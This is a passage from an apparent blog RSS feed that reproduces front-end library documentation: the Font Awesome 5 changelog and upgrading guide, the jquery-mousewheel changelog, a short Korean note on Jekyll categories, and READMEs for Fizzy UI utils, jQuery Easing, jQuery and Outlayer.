## [5.0.0-beta7](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-beta7)  - 2017-09-11

### Added
* Ability to nest the `&lt;svg&gt;` tag within the `&lt;i&gt;` FortAwesome/Font-Awesome-Pro#624
* Define icons as symbols and leverage SVG sprites FortAwesome/Font-Awesome-Pro#629
* Added alternative CSS3 logo FortAwesome/Font-Awesome-Pro#682

### Changed
* Power Transforms now execute inside the SVG instead of on the root element
* Filenames have changed to reflect a better division between Font Awesome Free and Pro

### Fixed
* More improvements to the version 4 shim FortAwesome/Font-Awesome-Pro#673 FortAwesome/Font-Awesome-Pro#678 FortAwesome/Font-Awesome-Pro#686 FortAwesome/Font-Awesome-Pro#687 FortAwesome/Font-Awesome-Pro#692
* Animation support for inline SVG now works as expected FortAwesome/Font-Awesome-Pro#662

---

## [5.0.0-beta6](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-beta6)  - 2017-09-01

### Added
* Ability to flip horizontal and vertical with CSS classes fa-flip-horizontal and fa-flip-vertical
* New film-alt icon that allows for layering other icons
* Microsoft brand

### Changed
* New YouTube branding FortAwesome/Font-Awesome-Pro#646

### Fixed
* Fixed a bunch of shim-related issues
* Cogs off center FortAwesome/Font-Awesome-Pro#663
* Corrected icons/categories.yml with canonical names

---

## [5.0.0-beta5](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-beta5)  - 2017-08-25

### Added
* Full parity with Font Awesome 4! 616 total core icons in each style
* 297 total brand and logo icons
* Separate CSS file to accompany the SVG Framework FortAwesome/Font-Awesome-Pro#627
* Alternative to the dots icon FortAwesome/Font-Awesome-Pro#608
* Made window icons consistent FortAwesome/Font-Awesome-Pro#611

### Fixed
* Production builds not correctly being detected FortAwesome/Font-Awesome-Pro#631

---

## [5.0.0-beta4](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-beta4)  - 2017-08-18

### Added
* 590 total core icons in each style
* 291 total brand and logo icons

### Fixed
* Reduced the size of JS file from 66 to 22 kb
* Regression caused by with web font alignment FortAwesome/Font-Awesome-Pro#460

---

## [5.0.0-beta3](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-beta3)  - 2017-08-15

### Added
* 583 total core icons in each style

### Fixed
* Documentation improvements and fixes FortAwesome/Font-Awesome-Pro#586
* Vertical alignment of TTF and OTF fonts FortAwesome/Font-Awesome-Pro#460
* The &quot;fa_500px&quot; icon should be named &quot;fa500px&quot; FortAwesome/Font-Awesome-Pro#578

---

## [5.0.0-beta2](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-beta2)  - 2017-08-11

### Added
* 570 total core icons in each style
* 291 total brand and logo icons
* NPM (ES6, CommonJS, AMD) packages for use with other JavaScript libraries and tools FortAwesome/Font-Awesome-Pro#574
* Added a guide to choosing which implementation is best for you FortAwesome/Font-Awesome-Pro#532

### Changed
* Showing a missing icon is now configurable FortAwesome/Font-Awesome-Pro#569

### Fixed
* Composition framework now works in browsers that do not support transform-origin FortAwesome/Font-Awesome-Pro#564

---

## [5.0.0-beta1](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-beta1)  - 2017-08-04

### Added
* 524 total core icons in each style
* 289 total brand and logo icons
* New composition framework FortAwesome/Font-Awesome-Pro#537
* Animated indicator if you use an icon that does not exist

### Changed
* Basic linting for Sass and Less files
* Add JavaScript guard block to prevent leaking errors
* Add support for automatic accessibility to SVG Framework Layers

### Fixed
* Regression where stacks and pulled and bordered were not working in SVG Framework
* SVG sprite example had confusing inline styles FortAwesome/Font-Awesome-Pro#549
* Make getting started page more consistent between examples FortAwesome/Font-Awesome-Pro#544
* Added missing sizes fa-[6-10], xs, sm FortAwesome/Font-Awesome-Pro#546
* Title tag missing in SVG sprites FortAwesome/Font-Awesome-Pro#536

---

## [5.0.0-alpha7](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-alpha7)  - 2017-07-28

### Added
* 451 total core icons in each style
* 281 total brand and logo icons
* Less support is back!
* OpenType (.otf) file formats for web fonts

### Changed
* Changes the fa-spin animation to go from 0deg to 360deg to eliminate hitch FortAwesome/Font-Awesome-Pro#522
* Improved mutation handling FortAwesome/Font-Awesome-Pro#517

### Fixed
* fa-fw now works correctly with the SVG framework FortAwesome/Font-Awesome-Pro#530
* Removed execute bit on some icon files FortAwesome/Font-Awesome-Pro#520

---

## [5.0.0-alpha6](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-alpha6)  - 2017-07-21

### Added
* 410 total core icons in each style
* 270 total brand and logo icons
* All new Font Awesome 4 shim file
* Beginnings of a public JS API FortAwesome/Font-Awesome-Pro#512

### Changed
* Added Firefox ESR and Chrome for Businesses to browser compatibility FortAwesome/Font-Awesome-Pro#506

### Fixed
* Ensure that SVG title attributes are unique
* Fixed incorrect viewBox sizes FortAwesome/Font-Awesome-Pro#492
* Fix chart-area alignment in the solid style FortAwesome/Font-Awesome-Pro#508
* Add missing xmlns attributes in some SVGs FortAwesome/Font-Awesome-Pro#509

---

## [5.0.0-alpha5](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-alpha5)  - 2017-07-14

### Added
* 228 total brand and logo icons
* New transform framework for sizing, moving, rotating, and flipping icons
* New icon counters
* New layers framework
* New text overlays
* Auto-comments with the original source icons alongside SVG replacements

### Changed
* Autoprefixer to correctly add browser prefixes for supported browsers
* Removed browser-specific CSS properties in Sass source files (now relies on autoprefixer)

### Fixed
* The rotation on checkmark icons
* Other icon feedback from previous weeks
* Correct fixed width settings to 1.25em (based on the new 16px grid)
* Icons displaying as block instead of inline-block in IE and older Safari

---

## [5.0.0-alpha4](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-alpha4)  - 2017-07-07

### Added
* 93 brand icons

---

## [5.0.0-alpha3](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-alpha3)  - 2017-06-30

### Added
* 95 additional icons; including file types, directional, and some existing and new brand icons

### Fixed
* Wrong content type in generated CSS FortAwesome/Font-Awesome-Pro#458
* Removal of query string from static resources FortAwesome/Font-Awesome-Pro#458
* SVG font ID&apos;s are incorrect in webfont implementation FortAwesome/Font-Awesome-Pro#474

---

## [5.0.0-alpha2](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-alpha2)  - 2017-06-27

### Added
* How/When to upgrade from FA4 to FA5 FortAwesome/Font-Awesome-Pro#454

### Fixed
* Links to SVG files broken in the example files FortAwesome/Font-Awesome-Pro#456
* Misnamed icon names in examples FortAwesome/Font-Awesome-Pro#445
* Mangled HTML in the Getting Started example FortAwesome/Font-Awesome-Pro#442
* Bad grammar and typos FortAwesome/Font-Awesome-Pro#443
* fas-arrow-to-top is identical to fas-arrow-to-right FortAwesome/Font-Awesome-Pro#423
* Vertical alignment issues with webfont implementation FortAwesome/Font-Awesome-Pro#444
* Add browser compatibility tables to demo FortAwesome/Font-Awesome-Pro#435
* Remove MAC OS feces from builds FortAwesome/Font-Awesome-Pro#437
* TTF naming issues that prevent correct usage/installation FortAwesome/Font-Awesome-Pro#450
* Correct CSS for SVG framework stacking, was reversed from normal FortAwesome/Font-Awesome-Pro#452

---

## [5.0.0-alpha1](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-alpha1)  - 2017-06-23

### Added
* 300+ more icons
* Brands pack
* New JavaScript based SVG Framework
* New SVG Sprites based framework
* Source SVGs
* Documentation with a convenient build-in web server

### Changed
* New directory structure
</description>
            <link>https://slowanalyst.github.io/assets/bower_components/font-awesome/CHANGELOG/</link>
          </item>
        
      
    
      
        
          <item>
            <title>Upgrading Guide</title>
            <description># Upgrading Guide

See the [CHANGELOG.md](/assets/bower_components/font-awesome/CHANGELOG/) for detailed information about what has changed between versions.

This guide is useful to figure out what you need to do between breaking changes.

As always, [submit issues](https://github.com/FortAwesome/Font-Awesome/issues/new) that you run into with this guide or with these upgrades to us.

## 5.0.x to 5.1.0

### New packages available for browser-only integration

**If you were previously using @fortawesome/fontawesome you need to switch to one of the new packages.**

Our Free and Pro CDN provide access to JS, CSS, sprites, and separate SVG files.

We&apos;ve now made these files conveniently available through NPM.

* [@fortawesome/fontawesome-free](https://www.npmjs.com/package/@fortawesome/fontawesome-free)
* @fortawesome/fontawesome-pro (private package, requires Pro subscription)

If you are familiar with the paths and options available with the CDN these
packages should be familiar.

Information about [Font Awesome Pro subscriptions](https://fontawesome.com/pro)
can be found in your [Font Awesome awesome
account](https://fontawesome.com/account/services).

### Renamed packages

The following packages have been renamed as part of 5.1.0 of Font Awesome.

_All packages are in the [@fortawesome NPM scope](https://www.npmjs.com/search?q=scope:fortawesome&amp;page=1&amp;ranking=optimal)_

| Old package(1)            | New package            |
|---------------------------|------------------------|
| fontawesome-free-webfonts | fontawesome-free       |
| fontawesome-pro-webfonts  | fontawesome-pro        |
| fontawesome-free-solid    | free-solid-svg-icons   |
| fontawesome-free-regular  | free-regular-svg-icons |
| fontawesome-free-brands   | free-brands-svg-icons  |
| fontawesome-pro-solid     | pro-solid-svg-icons    |
| fontawesome-pro-regular   | pro-regular-svg-icons  |
| fontawesome-pro-light     | pro-light-svg-icons    |

(1) Old packages have now been deprecated. They are still available but will only receive high priority patch release fixes.

**You&apos;ll need to update your package.json file with the renamed packages and new versions.**

### No more default imports

Recently we spent a good deal of time supporting TypeScript to enable us to
create the Angular Font Awesome component. During that adventure we
[were](https://basarat.gitbooks.io/typescript/docs/tips/defaultIsBad.html)
[convinced](https://blog.neufund.org/why-we-have-banned-default-exports-and-you-should-do-the-same-d51fdc2cf2ad)
that we were going to remove default exports from all of our components,
libraries, and packages. This is complete with the umbrella release of `5.1.0` of Font Awesome.

What does that mean?

~~Old way:~~

```javascript
import fontawesome from &apos;@fortawesome/fontawesome&apos;
import solid from &apos;@fortawesome/fontawesome-free-solid&apos;
import faTwitter from &apos;@fortawesome/fontawesome-free-brands/faTwitter&apos;
import FontAwesomeIcon from &apos;@fortawesome/vue-fontawesome&apos;

library.add(solid, faTwitter)
```

New way:

```javascript
import { library, dom } from &apos;@fortawesome/fontawesome-svg-core&apos;
import { fas } from &apos;@fortawesome/free-solid-svg-icons&apos;
import { faTwitter } from &apos;@fortawesome/free-brands-svg-icons&apos;
import { FontAwesomeIcon } from &apos;@fortawesome/vue-fontawesome&apos;

library.add(fas, faTwitter)

// Kicks off the process of finding &lt;i&gt; tags and replacing with &lt;svg&gt;
dom.watch()
```

This is also a valid way to import icons that works if your tool does not support tree shaking:

```javascript
import { faTwitter } from &apos;@fortawesome/free-brands-svg-icons/faTwitter&apos;
```

### Improved support for tree shaking

Tree shaking is now functional by default and no additional configuration is required to make it work.

The `shakable.es.js` module has been removed and is no longer needed.

If you&apos;ve previously configured tree shaking by modifying your webpack or rollup you can safely remove these.

**We recommend that you check your bundle size after upgrading an ensure that file sizes are as you would expect.**

```javascript
module.exports = {
  // ...
  resolve: {
    alias: {
      &apos;@fortawesome/fontawesome-free-solid$&apos;: &apos;@fortawesome/fontawesome-free-solid/shakable.es.js&apos;
    }
  }
}
```

```javascript
const alias = require(&apos;rollup-plugin-alias&apos;)

rollup({
  // ...
  plugins: [
    alias({
      &apos;@fortawesome/fontawesome-free-solid&apos;: &apos;node_modules/@fortawesome/fontawesome-free-solid/shakable.es.js&apos;
    })
  ]
})
```

## 5.0.11 to 5.0.12

Due to a collision with the &quot;r&quot; glyph the R Project brand icon has been renamed to `r-project`.

## 5.0.x to 5.0.6

### SVG Attribute was changed from data-fa-processed to data-fa-i2svg

As part of a bug fix for the release of 5.0.6 we renamed an attribute that was found on `&lt;svg&gt;` elements from
`data-fa-processed` to `data-fa-i2svg`. We feel this more accurately reflects the intent and purpose.

This attribute is added to any icon that has been generated using `fontawesome.dom.i2svg()`.

Be aware that `data-fa-i2svg` (or `data-fa-processed`) will no longer be present on icons that are created using
`fontawesome.icon()`.

If you&apos;ve written and DOM queries that rely on `data-fa-processed` you should get things working again by doing a
simple find and replace.
</description>
            <link>https://slowanalyst.github.io/assets/bower_components/font-awesome/UPGRADING/</link>
          </item>
        
      
    
      
        
          <item>
            <title>Mouse Wheel ChangeLog</title>
            <description># Mouse Wheel ChangeLog

## 3.1.13

* Update copyright notice and license to remove years
* Create the correct compressed version
* Remove the obsolete jQuery Plugin Registry file

## 3.1.12

* Fix possible 0 value for line height when in delta mode 1

## 3.1.11

* Fix version number for package managers...

## 3.1.10

* Fix issue with calculating line height when using older versions of jQuery
* Add offsetX/Y normalization with setting to turn it off
* Cleans up data on teardown

## 3.1.9

* Fix bower.json file
* Updated how the deltas are adjusted for older mousewheel based events that have deltas that are factors of 120.
* Add $.event.special.mousewheel.settings.adjustOldDeltas (defaults to true) to turn off adjusting of old deltas that are factors of 120. You&apos;d turn this off if you want to be as close to native scrolling as possible.

## 3.1.8

* Even better handling of older browsers that use a wheelDelta based on 120
* And fix version reported by `$.event.special.mousewheel`

## 3.1.7

* Better handle the `deltaMode` values 1 (lines) and 2 (pages)
* Attempt to better handle older browsers that use a wheelDelta based on 120

## 3.1.6

* Deprecating `delta`, `deltaX`, and `deltaY` event handler arguments
* Update actual event object with normalized `deltaX `and `deltaY` values (`event.deltaX`, `event.deltaY`)
* Add `deltaFactor` to the event object (`event.deltaFactor`)
* Handle `&gt; 0` but `&lt; 1` deltas better
* Do not fire the event if `deltaX` and `deltaY` are `0`
* Better handle different devices that give different `lowestDelta` values
* Add `$.event.special.mousewheel.version`
* Some clean up

## 3.1.5

* Bad release because I did not update the new `$.event.special.mousewheel.version`

## 3.1.4

* Always set the `deltaY`
* Add back in the `deltaX` and `deltaY` support for older Firefox versions

## 3.1.3

* Include `MozMousePixelScroll` in the to fix list to avoid inconsistent behavior in older Firefox

## 3.1.2

* Include grunt utilities for development purposes (jshint and uglify)
* Include support for browserify
* Some basic cleaning up

## 3.1.1

* Fix rounding issue with deltas less than zero


## 3.1.0

* Fix Firefox 17+ issues by using new wheel event
* Normalize delta values
* Adds horizontal support for IE 9+ by using new wheel event
* Support AMD loaders


## 3.0.6

* Fix issue with delta being 0 in Firefox


## 3.0.5

* jQuery 1.7 compatibility


## 3.0.4

* Fix IE issue


## 3.0.3

* Added `deltaX` and `deltaY` for horizontal scrolling support (Thanks to Seamus Leahy)


## 3.0.2

* Fixed delta being opposite value in latest Opera
* No longer fix `pageX`, `pageY` for older Mozilla browsers
* Removed browser detection
* Cleaned up the code


## 3.0.1

* Bad release... creating a new release due to plugins.jquery.com issue :(


## 3.0

* Uses new special events API in jQuery 1.2.2+
* You can now treat `mousewheel` as a normal event and use `.bind`, `.unbind` and `.trigger`
* Using jQuery.data API for expandos


## 2.2

* Fixed `pageX`, `pageY`, `clientX` and `clientY` event properties for Mozilla based browsers


## 2.1.1

* Updated to work with jQuery 1.1.3
* Used one instead of bind to do unload event for clean up


## 2.1

* Fixed an issue with the unload handler


## 2.0

* Major reduction in code size and complexity (internals have change a whole lot)


## 1.0

* Fixed Opera issue
* Fixed an issue with children elements that also have a mousewheel handler
* Added ability to handle multiple handlers
</description>
            <link>https://slowanalyst.github.io/assets/bower_components/jquery-mousewheel/ChangeLog/</link>
          </item>
        
      
    
      
        
          <item>
            <title>카테고리</title>
            <description># 카테고리

## 카테고리 생성 방법

/categories 폴더에 원하는 이름을 가진 md 파일을 만든다.

- title - 카테고리 관련 글을 모아볼 때 사용하는 제목
- permalink - 카테고리 관련 글을 모아볼 때 사용하는 URL
- for post in site.categories.etc - etc카테고리로 지정되어있는 글을 가져온다.

## 카테고리 지정 방법

/categories 폴더에 있는 파일 이름을 category: [&quot;HERE&quot;] 안에 적어준다.
</description>
            <link>https://slowanalyst.github.io/docs/category/</link>
          </item>
        
      
    
      
        
          <item>
            <title>Fizzy UI utils</title>
            <description># Fizzy UI utils

UI utility &amp; helper functions

Used in [Flickity](http://flickity.metafizzy.co), [Isotope](http://isotope.metafizzy.co), [Masonry](http://masonry.desandro.com), [Draggabilly](http://draggabilly.desandro.com)

## Install

Bower: `bower install fizzy-ui-utils --save`

npm: `npm install fizzy-ui-utils --save`

## API

``` js
// fizzyUIUtils is the browser global
var utils = fizzyUIUtils;

// ---- ---- //

utils.extend( a, b )
// extend object

utils.modulo( num, div )
// num [modulo] div

utils.makeArray( obj )
// make array from object

utils.removeFrom( ary, obj )
// remove object from array

utils.getParent( elem, selector )
// get parent element of an element, given a selector string

utils.getQueryElement( elem )
// if elem is a string, use it as a selector and return element

Class.prototype.handleEvent = utils.handleEvent;
// enable Class.onclick when element.addEventListener( &apos;click&apos;, this, false )

utils.filterFindElements( elems, selector )
// iterate through elems, filter and find all elements that match selector

utils.debounceMethod( Class, methodName, threhold )
// debounce a class method

utils.docReady( callback )
// trigger callback on document ready

utils.toDashed( str )
// &apos;camelCaseString&apos; -&gt; &apos;camel-case-string&apos;

utils.htmlInit( Class, namespace )
// on document ready, initialize Class on every element
// that matches js-namespace
// pass in JSON options from element&apos;s data-options-namespace attribute
```

---

[MIT license](http://desandro.mit-license.org/). Have at it.

By [Metafizzy](http://metafizzy.co)
</description>
            <link>https://slowanalyst.github.io/assets/bower_components/fizzy-ui-utils/</link>
          </item>
        
      
    
      
        
          <item>
            <title>@fortawesome/free-regular-svg-icons - SVG with JavaScript version</title>
            <description># @fortawesome/free-regular-svg-icons - SVG with JavaScript version

&gt; &quot;I came here to chew bubblegum and install Font Awesome 5 - and I&apos;m all out of bubblegum&quot;

[![npm](https://img.shields.io/npm/v/@fortawesome/free-regular-svg-icons.svg?style=flat-square)](https://www.npmjs.com/package/@fortawesome/free-regular-svg-icons)

## Installation

```
$ npm i --save @fortawesome/free-regular-svg-icons
```

Or

```
$ yarn add @fortawesome/free-regular-svg-icons
```

## Documentation

Get started [here](https://fontawesome.com/get-started/svg-with-js). Continue your journey [here](https://fontawesome.com/how-to-use/svg-with-js).

Or go straight to the [API documentation](https://fontawesome.com/how-to-use/font-awesome-api).

## Issues and support

Start with [GitHub issues](https://github.com/FortAwesome/Font-Awesome/issues) and ping us on [Twitter](https://twitter.com/fontawesome) if you need to.
</description>
            <link>https://slowanalyst.github.io/assets/bower_components/font-awesome/advanced-options/use-with-node-js/free-regular-svg-icons/</link>
          </item>
        
      
    
      
        
          <item>
            <title>jQuery Easing Plugin</title>
            <description># jQuery Easing Plugin

What is it? A jQuery plugin from GSGD to give advanced easing options. More info [here](http://gsgd.co.uk/sandbox/jquery/easing)

For CDN please use CloudFlare [`https://cdnjs.cloudflare.com/ajax/libs/jquery-easing/1.4.1/jquery.easing.min.js`](https://cdnjs.cloudflare.com/ajax/libs/jquery-easing/1.4.1/jquery.easing.min.js) to help my host. Thank you.

# AMD or CommonJS usage

```js
// CommonJS
var jQuery = require(&apos;jquery&apos;);
require(&apos;jquery.easing&apos;)(jQuery);

// AMD
define([&apos;jquery&apos;, &apos;jquery.easing&apos;], function (jQuery, easing) {
  easing(jQuery)
})
```

# Building and testing

* Clone the repo
* `npm install`
* Make changes
* Test against files in `/examples`
* Build minified version with `npm run build`
</description>
            <link>https://slowanalyst.github.io/assets/bower_components/jquery.easing/</link>
          </item>
        
      
    
      
        
          <item>
            <title>jQuery</title>
            <description># jQuery

&gt; jQuery is a fast, small, and feature-rich JavaScript library.

For information on how to get started and how to use jQuery, please see [jQuery&apos;s documentation](http://api.jquery.com/).
For source files and issues, please visit the [jQuery repo](https://github.com/jquery/jquery).

If upgrading, please see the [blog post for 3.3.1](https://blog.jquery.com/2017/03/20/jquery-3.3.1-now-available/). This includes notable differences from the previous version and a more readable changelog.

## Including jQuery

Below are some of the most common ways to include jQuery.

### Browser

#### Script tag

```html
&lt;script src=&quot;https://code.jquery.com/jquery-3.3.1.min.js&quot;&gt;&lt;/script&gt;
```

#### Babel

[Babel](http://babeljs.io/) is a next generation JavaScript compiler. One of the features is the ability to use ES6/ES2015 modules now, even though browsers do not yet support this feature natively.

```js
import $ from &quot;jquery&quot;;
```

#### Browserify/Webpack

There are several ways to use [Browserify](http://browserify.org/) and [Webpack](https://webpack.github.io/). For more information on using these tools, please refer to the corresponding project&apos;s documention. In the script, including jQuery will usually look like this...

```js
var $ = require(&quot;jquery&quot;);
```

#### AMD (Asynchronous Module Definition)

AMD is a module format built for the browser. For more information, we recommend [require.js&apos; documentation](http://requirejs.org/docs/whyamd.html).

```js
define([&quot;jquery&quot;], function($) {

});
```

### Node

To include jQuery in [Node](nodejs.org), first install with npm.

```sh
npm install jquery
```

For jQuery to work in Node, a window with a document is required. Since no such window exists natively in Node, one can be mocked by tools such as [jsdom](https://github.com/tmpvar/jsdom). This can be useful for testing purposes.

```js
require(&quot;jsdom&quot;).env(&quot;&quot;, function(err, window) {
	if (err) {
		console.error(err);
		return;
	}

	var $ = require(&quot;jquery&quot;)(window);
});
```
</description>
            <link>https://slowanalyst.github.io/assets/bower_components/jquery/</link>
          </item>
        
      
    
      
        
          <item>
            <title>Outlayer</title>
            <description># Outlayer

_Brains and guts of a layout library_

Outlayer is a base layout class for layout libraries like [Isotope](http://isotope.metafizzy.co), [Packery](http://packery.metafizzy.co), and [Masonry](http://masonry.desandro.com)

Outlayer layouts work with a container element and children item elements.

``` html
&lt;div class=&quot;grid&quot;&gt;
  &lt;div class=&quot;item&quot;&gt;&lt;/div&gt;
  &lt;div class=&quot;item&quot;&gt;&lt;/div&gt;
  &lt;div class=&quot;item&quot;&gt;&lt;/div&gt;
  ...
&lt;/div&gt;
```

## Install

Install with [Bower](http://bower.io): `bower install outlayer`

[Install with npm](http://npmjs.org/package/outlayer): `npm install outlayer`

## Outlayer.create()

Create a layout class with `Outlayer.create()`

``` js
var Layout = Outlayer.create( namespace );
// for example
var Masonry = Outlayer.create(&apos;masonry&apos;);
```

+ `namespace` _{String}_ should be camelCased
+ returns `LayoutClass` _{Function}_

Create a new layout class. `namespace` is used for jQuery plugin, and for declarative initialization.

The `Layout` inherits from [`Outlayer.prototype`](docs/outlayer.md).

```
var elem = document.querySelector(&apos;.selector&apos;);
var msnry = new Masonry( elem, {
  // set options...
  columnWidth: 200
});
```

## Item

Layouts work with Items, accessible as `Layout.Item`. See [Item API](docs/item.md).

## Declarative

An Outlayer layout class can be initialized via HTML, by setting an attribute of `data-namespace` on the element. Options are set in JSON. For example:

``` html
&lt;!-- var Masonry = Outlayer.create(&apos;masonry&apos;) --&gt;
&lt;div class=&quot;grid&quot; data-masonry=&apos;{ &quot;itemSelector&quot;: &quot;.item&quot;, &quot;columnWidth&quot;: 200 }&apos;&gt;
  ...
&lt;/div&gt;
```

The declarative attributes and class will be dashed. i.e. `Outlayer.create(&apos;myNiceLayout&apos;)` will use `data-my-nice-layout` as the attribute.

## .data()

Get a layout instance from an element.

```
var myMasonry = Masonry.data( document.querySelector(&apos;.grid&apos;) );
```

## jQuery plugin

The layout class also works as jQuery plugin.

``` js
// create Masonry layout class, namespace will be the jQuery method
var Masonry = Outlayer.create(&apos;masonry&apos;);
// rock some jQuery
$( function() {
  // .masonry() to initialize
  var $grid = $(&apos;.grid&apos;).masonry({
    // options...
  });
  // methods are available by passing a string as first parameter
  $grid.masonry( &apos;reveal&apos;, elems );
});
```

## RequireJS

To use Outlayer with [RequireJS](http://requirejs.org/), you&apos;ll need to set some config.

Set [baseUrl](http://requirejs.org/docs/api.html#config-baseUrl) to bower_components and set a [path config](http://requirejs.org/docs/api.html#config-paths) for all your application code.

``` js
requirejs.config({
  baseUrl: &apos;bower_components&apos;,
  paths: {
    app: &apos;../&apos;
  }
});

requirejs( [ &apos;outlayer/outlayer&apos;, &apos;app/my-component.js&apos; ], function( Outlayer, myComp ) {
  new Outlayer( /*...*/ )
});
```

Or set a path config for all Outlayer dependencies.

``` js
requirejs.config({
  paths: {
    &apos;ev-emitter&apos;: &apos;bower_components/ev-emitter&apos;,
    &apos;get-size&apos;: &apos;bower_components/get-size&apos;,
    &apos;matches-selector&apos;: &apos;bower_components/matches-selector&apos;
  }
});
```

## MIT license

Outlayer is released under the [MIT license](http://desandro.mit-license.org).
</description>
            <link>https://slowanalyst.github.io/assets/bower_components/outlayer/</link>
          </item>
        
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    

  </channel>
</rss>